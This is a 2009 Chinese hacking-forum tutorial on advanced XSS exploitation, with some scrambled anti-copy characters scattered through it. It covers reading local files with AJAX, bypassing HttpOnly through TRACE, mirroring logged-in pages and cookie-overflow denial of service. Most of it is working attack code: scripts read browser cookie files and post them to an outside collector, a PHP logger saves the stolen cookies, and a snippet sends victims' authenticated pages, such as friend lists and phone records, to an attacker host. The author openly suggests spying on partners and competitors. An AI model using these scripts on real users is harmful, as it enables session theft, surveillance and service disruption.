XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
! A% V1 O) B7 C9 m% g本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
& m* ~0 [7 s/ q6 k6 i5 h+ e! vBy racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
+ ]  t3 x3 C- [: i5 }6 I( L转帖请保留版权
% v- b. t" I& ]* P. @& S8 X
( ?. C) b* j6 ?+ W) H9 z1 ~- A
! i0 L$ p- L9 e' z! }) W
-------------------------------------------前言---------------------------------------------------------

$ J$ h4 S8 n6 l4 A" h; I
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


如果你还未具备基础XSS知识,以下几个文章建议拜读:
$ `3 _) ]0 r' i4 |http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
, v  g0 W$ P( g# F  Xhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
" g( c1 `9 C! c# j" G

+ \& b( V$ R5 k& l( g# h

如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
/ @! y! D7 v0 _6 B
' s8 |( ?! ?8 `4 B9 O8 V3 CBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

# `, y: `+ K. q( PQQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

- C, e3 a" h# _3 a..........
复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.



$ s8 e# Y* H# P# g跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

9 I7 L, `7 J& h: w

如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
- D8 g5 \- b: ]4 c, g) x, C复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
+ t( T* }, V' X: d; l3 ]. g) A# l
1        通过XSS,我们能实现什么?
! x' O# Q4 l8 h0 I9 c) E0 _- h: n
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
$ d2 L* L  Q& `7 o1 X0 W
2 I; d8 w( d! n$ \; ~3 N3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.



------------------------------------------研究正题----------------------------------------------------------
* i+ M$ ~) o. M6 o7 r


通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
! Y. Z- H; T0 p# Z& k2 E复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
2 P) t( r1 U5 m+ t- b3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
6 x3 }1 k# Y6 d: u8 w
  C. o$ a( p  `* f0 r. H8 e
0 e% n3 D6 |; r% H  K


(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
' C. `( k1 Q' @# z' I% I* a
5 k3 C1 D2 M: Y' l我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

, `' H# i5 {. @- D* P: P1 d

    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
7 u  `% |2 p# S


9 M0 Y3 a6 q2 q# W    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

# z& o' ^  A) |" {' s1 L- ?
+ x8 Q& P. o7 S2 Z+ I9 L
! d; u$ J; Q  B, z; O; G    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
  U, |% _5 K* L; v5 |4 G" h$ v复制代码IE6使用ajax读取本地文件    <script>

6 W+ _/ b6 O, a; t0 v    function $(x){return document.getElementById(x)}
" y9 G: g2 ]9 w
+ |6 X! ]$ k- ]. Z' L- F/ ~" L

    function ajax_obj(){
8 l" [$ {) k' V8 y* l; B
    var request = false;
( f4 `6 ]4 U6 D' h7 s( g
6 O0 E  {: k2 p9 h: D6 t    if(window.XMLHttpRequest) {
8 K  [5 H$ z/ [2 X& D: l
) R' G& q$ `4 J0 x    request = new XMLHttpRequest();

; A2 y' |# v' E6 f8 E0 J    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {

    try {
" B, c8 W  M. M) C8 B( }; c% M  i( ]! a. {
' w' s% R7 N- P3 t4 v9 B    request = new ActiveXObject(versions);

4 [; Q1 @2 n: x6 `3 z& s    } catch(e) {}
8 f% h! T. B8 ^: F# p7 D' i' |
' V9 |0 p* \" s0 y    }

    }

& _$ G: v( l: p5 T) B& ]) W    return request;
% A; L6 G' B0 O: }! x
+ ~) I; U' E2 E+ _    }
$ R9 ^% v& C' J. }
% f9 N7 @* W& v0 F& i    var _x = ajax_obj();

# i* `4 e. T8 q& F% Q# }    function _7or3(_m,action,argv){
" o4 J; @+ V% h) z" n( {
    _x.open(_m,action,false);

3 E& m3 y0 ], x# r    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

5 M2 Y, h: p4 a( Y( X! p: b    _x.send(argv);
  Q! }' ~0 `( o( B) ~
    return _x.responseText;
. g* r4 @9 B. {: n1 E; T$ }
    }
8 O7 l& M; B2 s4 n' t6 m/ R
- b! _& Y$ h' }4 i% X' `
* }+ r# v! i6 `2 O# Y9 @, U
7 V& M+ L5 M) \1 _; X2 ~/ W( [% s    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
0 t  d1 ^8 I( H* g
; A# q9 I6 _: |+ _8 i  a    alert(txt);
9 N! W6 H1 H% Y0 X4 `
" \0 c8 H2 H% U3 `- A2 U" R
* p+ C8 e5 s. d; [  m4 @* [0 ]
, F/ I" E9 [* V/ o" u    </script>
4 j2 \" C& ?4 a# ?( O+ \# a- G# g复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}
" l* H1 O3 I. O2 ~) k
3 D) t2 n) F+ |' m7 a$ u2 o+ r
" v) `$ W( V7 U  T+ i+ d" p
    function ajax_obj(){
1 |) g" L! B: R( E  P4 r
' n7 w$ C* e& X    var request = false;
0 e/ M& D8 i% ?) [/ p! g
' X: s5 h6 q! [7 B- y- {0 i, Y    if(window.XMLHttpRequest) {
+ x9 ?0 u; v; r+ S; R4 ?" q* N5 U
    request = new XMLHttpRequest();
" }" G/ u* q0 I7 M! h, o  @6 q
    } else if(window.ActiveXObject) {

! i! V# T* ^6 K% @' Q- v    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

/ ~$ w/ K1 g! |, H3 m
1 a" `  q5 b* A, E5 O; `# `3 d' G
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
# C0 i6 f8 o3 v2 y1 x. ~
( z4 i* m' r8 m    for(var i=0; i<versions.length; i++) {

    try {
. o2 {$ G1 d! ^
    request = new ActiveXObject(versions);

. _4 u. p2 H2 y4 [+ i    } catch(e) {}
: x( {% S% R! p4 O
9 d. |6 q! q9 H! l0 a2 c    }
% _5 Z- g! Q: {4 x0 v% {1 S
    }

    return request;
' W; z% ^, y. Q) ~. ?$ l7 L
    }
# G: c2 j  x+ m' Y9 o+ W
    var _x = ajax_obj();

    function _7or3(_m,action,argv){
# c& v( e1 V+ m: }" O0 A, l: P
* Q/ F6 f+ ?) p7 o; Q: f    _x.open(_m,action,false);

: t- A# {7 K3 T1 }, T    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
' F% M/ e6 W# n5 z  Y( N# H% p
    _x.send(argv);
, P. H, X# j- q  @3 h# l7 j
% I9 \5 D+ i- N2 I3 _' \    return _x.responseText;

    }


% I# ]7 `( T: a$ E) u1 G
& ~) o# _) P" I- U9 F/ Y. j    var txt=_7or3("GET","1/11.txt",null);
( `/ J' d) a  v# d" b4 x/ T) J
( S. x9 f/ N3 E1 t# \; x& H    alert(txt);
, L1 J3 ?, ?& ~; t2 z+ f
/ I- S+ o0 G# w' G9 Q" y, S# o

6 b0 u8 j# @2 V    </script>
; _0 J/ F( I; W) k; m7 @* l复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
3 }, N5 W0 K1 y2 n$ x: i1 q


Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"



; g, @2 {2 u- Y; D<?   
, D/ r, W4 W, o7 |8 \: H# A5 ?
/*  
9 h- o3 P- l/ A8 G* C
     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

9 ]6 a7 J* _( x4 H3 P     www.inbreak.net   

7 a) O( I# d1 |5 S     author voidloafer@gmail.com 2009-4-22   

! m3 B0 z( k. d, ]" D$ h     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

  `% E. H8 |6 `* v- i0 J4 ^*/  
% \+ L' ?8 p& W# G' L
! i* n  R" a' Z- t+ Y# \8 S/ |. {) pheader("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   
' R2 p% B' P: a/ Y
. P5 F5 ]% L% J" ?2 {# }/*  
0 B5 y) k% n% _: d$ G& u/ l
$ y  T0 V/ y# S* c/ q     set header, so just download html file,and open it at local.  

, v: K# k/ P; d- g" I& |*/  
) e8 M) g/ _! g! S5 M0 C
?>   

" ?2 b1 o8 O* x<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
- ~) d1 B# {5 |; }( s3 s6 H6 s
     <input id="input" name="cookie" value="" type="hidden">   

</form>   
0 L% F5 i" V; d( Y" ?6 |
# p: A9 i; X$ Z. K+ J1 A( c<script>   
- Q$ M" A6 j8 B4 `# }- y
function doMyAjax(user)   

2 h/ T; z5 V7 m0 q0 h{   
' Z' y" A. I  h- k0 }9 }) m
var time = Math.random();   

+ l( Y+ r+ k4 T+ g2 V/*  

4 ^3 c0 k4 V: ?" Q" @the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
: }% v- g7 p/ b
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
% A4 w+ s/ F+ \. N+ i" |8 \& u
8 e! \( b9 V3 }8 G% Eand so on...  
" O$ _: E1 r! r' _1 P) F' m( D6 t
*/  
5 Y6 h. u& g3 h; f( m
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

8 Q8 j% _' M' s7 c9 r   

' L" z; [% }/ V4 g& n7 r6 UstartRequest(strPer);   

, }& h) j$ c3 w$ |( Q

}   
; y% [9 D' m' J" Z$ d. W( ^
; i; i, j" ~3 n' I8 k$ }; j; {0 A   
/ D" ]; t7 j8 e5 W" D
function Enshellcode(txt)   

% }) X2 V; h" B$ j+ c2 o% O# |{   

7 A0 a( b* Y- s% f, T& ]5 z. m% n: Zvar url=new String(txt);   
5 @9 B) ~1 a) @$ y
var i=0,l=0,k=0,curl="";   
0 h. Q- r, J2 A/ _% W* U) A
l= url.length;   
" }4 Z$ l- {8 t  d; S
3 p: f1 x! L+ s" q4 i: l* |, rfor(;i<l;i++){   

! w/ H/ q1 V6 z! T" I/ dk=url.charCodeAt(i);   

0 J; I+ o4 @1 r4 z  G1 `" b  mif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   
6 n4 M! K5 j' F! n
* Z! }5 n# R: }% ?2 dcurl=curl.replace(/(..)(..)/g,"%u$2$1");   

+ y- S/ E! y4 V, Y; ~2 Hreturn curl;   

* z5 p" L% ~# I; l$ h}   
& z# R* [5 w0 w( `) X
   

4 V% F! O0 J# B7 F. O. F   
2 ^8 H1 |, g* F
0 o8 b4 Z2 W. w0 j% _var xmlHttp;   

function createXMLHttp(){   

     if(window.XMLHttpRequest){   

7 O9 W9 y1 D  f# L7 o% lxmlHttp = new XMLHttpRequest();           

  H7 l5 O. {& j- O9 u6 c     }   
) T" p0 `- I$ Y* N( f, o+ P
     else if(window.ActiveXObject){   
  G- p- ?: E+ L' ~" \0 q
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
4 R1 e; m0 e( j) q
+ [, A7 w! G& ^5 S     }   
5 k) @( \6 S5 o
}   

1 j9 {" ~: F2 S   

( N: S3 P) R" X* S# zfunction startRequest(doUrl){   
4 @4 _% }& o$ e+ F- A
. ]$ l- F# H6 u   

; p2 A4 G1 `* @5 V) f: h  A     createXMLHttp();   
$ C3 [: ~: X. Y

( [5 |5 ^+ Z$ u4 }. B
     xmlHttp.onreadystatechange = handleStateChange;   
/ M5 z6 c! H4 K) `! q' D; @3 f


     xmlHttp.open("GET", doUrl, true);   
$ p) g8 B; m  E. B6 q
& z' {  a; r# ]! ?+ Y
  p7 l: B, m) K0 i
     xmlHttp.send(null);   


6 C0 L% Y) y! B# ]


}   
8 `: E% \2 k" J2 ~1 j5 @
   

$ F8 i% W, i' U: xfunction handleStateChange(){   
8 b% K0 t9 i. k; A' ~
     if (xmlHttp.readyState == 4 ){   
' ~$ w% J8 O0 ?; d" Y0 m
     var strResponse = "";   
: @4 N# m9 [6 y) F1 r9 M
6 ^" U; I7 g; k$ T: j     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

( _/ M" G& s. b7 ~( A        

: [! ~+ _3 J) U7 F5 j     }   
8 ^9 o. O5 `! o) T) J
, u% h7 S( R3 G0 i6 O}   
6 _! y# c* X2 C
: W' G4 o. ~% \  U  A   

   
2 ]* {& |6 u$ i; {' n/ v
1 |5 z1 Q: H$ {6 i/ G  K- Ffunction framekxlzxPost(text)   

{   

1 n$ o# r8 u& B8 a/ x, m% i$ b5 d+ C3 x     document.getElementById("input").value = Enshellcode(text);   
) o) }: ~7 R2 ]
1 E0 O0 h: x( x: u/ Y1 a     document.getElementById("form").submit();   
5 W/ q, I% O& @5 c' v
/ ^. |. k+ \5 ]$ R: k}   
! F) I0 V/ K# g( ]% n# r
   

2 \* f- @1 h0 u8 w; zdoMyAjax("administrator");   
# W. j9 K& P! t
9 v/ U/ A$ v* S' {0 i; @   
$ u, d2 i- p; }" U4 v7 l6 i1 W3 a! ?
</script>
! @6 L: Y! {! _复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
" \- ?% e8 C* H5 y6 B. _* ?# n# W+ F" W
) p; N1 ~4 b3 W) {) dvar xmlHttp;  

  Q- ^) p9 k% C/ i# V7 J$ D* Mfunction createXMLHttp(){  

     if(window.XMLHttpRequest){  
$ w" H9 h5 |  Z5 Q1 L$ x: R8 f+ x
         xmlHttp = new XMLHttpRequest();         
0 Q* g2 M, m- Z: f# x
     }  

     else if(window.ActiveXObject){  

         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
7 q$ o' f8 m/ r' a- r: i: H6 q: `6 T
4 T/ ?1 M4 g' H( E     }  

}  

8 Q4 E. r$ T' }$ Q   
5 v" E* O  o' _& \
function startRequest(doUrl){  
$ X/ G: [" \+ N! ~! N1 m+ ?/ v* G
/ |6 c3 q6 N- @           
8 F/ B. r- ~+ Y2 P
     createXMLHttp();  
7 G& |* a4 B! g( ~/ |  A9 ?
      

     xmlHttp.onreadystatechange = handleStateChange;  

0 j7 ?2 d. t. K; R/ k/ J      
+ e2 j! w# ~1 B
) [% H$ ~2 N: j  E0 f. G& I     xmlHttp.open("GET", doUrl, true);  

& I+ y4 Q" J- p( B      
/ q$ ~$ L; \& u6 y* q, ^
     xmlHttp.send(null);  

; E6 ^/ \& w/ s/ A8 @, a      

* K  j# @8 J2 E. |% A" [      
/ @8 b- [- r) m
. O' q) D, X! l}   

   
0 @: g. D1 ?: o+ v3 A4 J7 l; l4 R
3 c: ?1 P- c2 @2 Mfunction handleStateChange(){  

. c9 o- H7 M" R- Y     if (xmlHttp.readyState == 4 ){  
0 i! `; U. K9 k: E2 Y1 o
' u8 E/ z% y# U  G& g             var strResponse = "";  
) Q+ }, |( O) b
$ U5 o" m* Z- i9 J8 S  M             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

  H+ }7 E3 u% j. k6 z+ X! y. D               

     }  

; h2 d( g3 W* y) B( u1 w1 C}  
) x( _6 y- d' S. ~  R6 ~
( p6 v$ v5 Q7 a+ C2 m   

function doMyAjax(user,file)  

{  

# h+ ^- W+ |& W# u5 _8 a$ n% S         var time = Math.random();  
, K9 @8 n! L" A/ E' G. a/ f
           

         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

, ^1 z9 u% L5 D" Q( [7 F" \           

: i+ j) U5 Z8 r' |         startRequest(strPer);  
$ X- z& Q1 d7 [9 b* F$ K1 h
( j+ ]8 K; ~" h* {  Q) ?5 z- l9 E      
. L, ~; z# O- x8 T
- x! C" l$ \% Q# f9 w5 y}  
: n" i& _7 }7 t
   
; ?* L6 a. u1 A$ B
! I) G. B# c9 u/ B2 v; wfunction framekxlzxPost(text)  
0 o8 p. C7 c7 |5 g0 W6 @: C
{  
) e8 C/ }( s! H
: v# S% n/ T2 ~$ |/ P1 m" Q     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
3 x, h/ g: P% Z+ r& a5 m
4 {" S! o% T! Z- m     alert(/ok/);  
) `6 w6 j4 p) v7 F5 P+ d5 p
}  

2 X0 j* O2 I  z7 l7 q$ \   

# P+ _- y. M* \+ ~, C$ |doMyAjax('administrator','administrator@alibaba[1].txt');  

- [6 |  w9 X! E+ O& \* b6 ?   
1 F# r1 X$ C6 c% S7 u) [+ {8 f
</script>


' d3 N4 D* Z8 R. ?


* n3 R# z4 h! u' J8 s( F5 da.php


0 B0 U4 p. c3 n! p3 _
<?php      

& Z* j& U% I( S1 `   
! p2 `7 t9 {# `) `# K
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
4 j9 z9 B  {  E# G1 O
  
' b/ ^: N# N1 F; H2 t. @
+ f6 M' u8 e( j1 p( Y' V1 Y$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      

6 K0 h7 k' a/ k2 bfclose($fp);   
3 y: Z2 Z8 s( N3 f' \
+ `$ Y% B$ `( a" l' P% w# ^4 _- M?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
4 s- v; L6 a: y' i2 B8 J* t
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
! H3 j4 n1 k5 F: Y9 e利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

0 v1 T6 r+ U7 W$ d8 C$ S//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

' W6 \+ T# d  ]% n  Dfunction getURL(s) {

) t2 T: T+ C/ [0 w1 Z+ w* A5 Y9 t5 pvar image = new Image();
; V5 k7 J9 `; O! @8 h8 U' }* O9 Q
4 g$ U1 p: P2 b% K9 i) \: ]image.style.width = 0;
4 Z0 Q9 @. X; m5 J8 O0 w
image.style.height = 0;

image.src = s;
, M# D& l* k& w" o
/ p) o0 Z. ?5 P/ @- ]- F* j}
* q( G/ p6 R5 i, d/ U: [2 {  I3 o
5 {. _( c! _4 o6 b+ ]- E" H. O9 E- M  ngetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
; W- h1 @" Y/ s8 u复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">
3 y2 q& W$ V  {! K& C6 |
var metastr = "AAAAAAAAAA"; // 10 A

9 O' _2 D: y- Lvar str = "";
1 ~. T# T  g% U- f
while (str.length < 4000){
7 T3 C% |& l' W( V) H( p
7 M# k; r$ s2 a( Y1 z    str += metastr;

}
! T8 U( q# z% ]0 K- Y
) k. }# B9 u$ ]# m0 f
0 S% V- S4 U; \0 A- N
3 l7 I% {6 b* O! V4 j# T4 udocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
# c$ X3 Z4 {( |
</script>
4 W9 ^3 F$ {- v" Y* d  A& e
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
% r9 h4 C( o3 \) b
0 Z( n; e7 B0 J; Y- X* c假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
% q5 A; B3 v8 Y+ d- x5 |攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
  D, z7 L' E; `2 {7 L
0 t2 _6 c+ u: ?( M7 F1 z( g7 f( n

( p0 z( ?1 N' G# L4 s
/ Y4 \  Z- F4 v' K& M
2 `3 e, z* Y# G
4 L2 b; A( U2 N! n6 I) u: J(III) Http only bypass 与 补救对策:
3 O$ Q* X3 K) s; J
- v3 r2 y( M1 N  d+ F9 Q" S什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
( W! a3 j8 ^' g5 r以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

* L; L& c. _( \& t<!--

function normalCookie() {
  \6 e5 j, Y" h. r& X4 o" H8 L
* |9 ?/ H( P1 E8 x4 o: X7 Jdocument.cookie = "TheCookieName=CookieValue_httpOnly";
3 Z$ b/ [( p& s
, e0 c/ X2 U$ x: G- x( N' E# oalert(document.cookie);

% M$ z% d# {" M}
! P. q( I5 X  L  y2 [- F3 D8 g. ?




. }# n% u3 y7 C2 B% mfunction httpOnlyCookie() {
& P/ X2 N8 M- G! s3 B  M0 M; u3 v1 O5 @
, q: V3 i" ]/ mdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
" y% R! N! X' f, p$ P; F/ d
alert(document.cookie);}
9 H5 L2 o: L  R4 Y+ }
9 @: T3 ~% l0 y4 [  S0 _
/ L- q) ]6 |( z9 k; d
//-->
+ i- n! v4 S8 K  H) ]
</script>
6 x* D: b. s1 f+ W5 _3 V


5 k- z) Q# J8 H5 k<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
1 @3 z. ^3 {! P2 o6 t* A' b8 p
# o4 E7 q8 Q% y9 Z- _3 x2 n1 T4 K<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
- A& @7 s7 S9 Z0 q7 s, y4 X
9 L" ~6 V2 j4 o' }8 X
5 s& Y& Q' i8 j' ~6 O3 W/ c
var request = false;
4 d* ?' w3 l; n6 v" W
        if(window.XMLHttpRequest) {

            request = new XMLHttpRequest();
5 b$ T+ B8 s9 ~. u5 Z
            if(request.overrideMimeType) {

                request.overrideMimeType('text/xml');
1 T4 z/ o, f% t' i9 l: c
$ K9 o  P3 H# Y) E            }

        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

: H1 ]: |- G$ _6 @/ q3 D& s, C7 r            for(var i=0; i<versions.length; i++) {

                try {

4 Z/ o' w% P6 O2 O3 ]( C* `* |                    request = new ActiveXObject(versions);

( a9 H9 L3 ^( \  Y% C1 f6 O                } catch(e) {}
# j$ p; E5 w8 T/ {2 P# D, f0 v# ]0 s! o
: y9 s1 X% v' V- |/ \            }
% S" T! R* \# E/ E& M# ]
* U" b; v+ p) l. A! r( x        }
& o8 R4 G  v: ]8 M1 w! K$ z: c
0 r6 I/ E9 V# QxmlHttp=request;
/ x1 ?8 ^) Y2 k1 C) s
5 r; F% j9 m: a2 e( E' [1 x1 CxmlHttp.open("TRACE","http://www.vul.com",false);
- X( p8 K7 P- {9 T% b) X- d( T
xmlHttp.send(null);
2 _. i5 ]/ b) s; T& @* ]0 J$ a: @* P# N
xmlDoc=xmlHttp.responseText;
2 v+ M1 ^! T" V. z: ?: }. i
alert(xmlDoc);

</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

! L- x# {, y+ ^3 Pvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
) a% O1 H: c- g: k
3 V. H! g4 o/ M1 [8 b, yXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
3 V- C& S, ~9 T
& n8 G$ ], D5 y0 R! gvar resource=xmlHttp.responseText
, k9 g7 P+ x7 a1 ]/ ~
" A. C2 t. W1 y1 S3 Qresource.search(/cookies/);

7 q0 p3 }( R9 k& r: i; i......................

& s- q# ^, f& g" |</script>

1 p/ `; \$ s% r$ k  I
. k! v+ _: Z# ~: {* b! I


7 ?( q9 [1 [: Z1 L# P( F7 c% J如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
6 G) e  V6 e* Z% I! z/ A
[code]

6 h" r' W$ }4 p  VRewriteEngine On
: x2 @4 X5 \( M$ l, J8 N
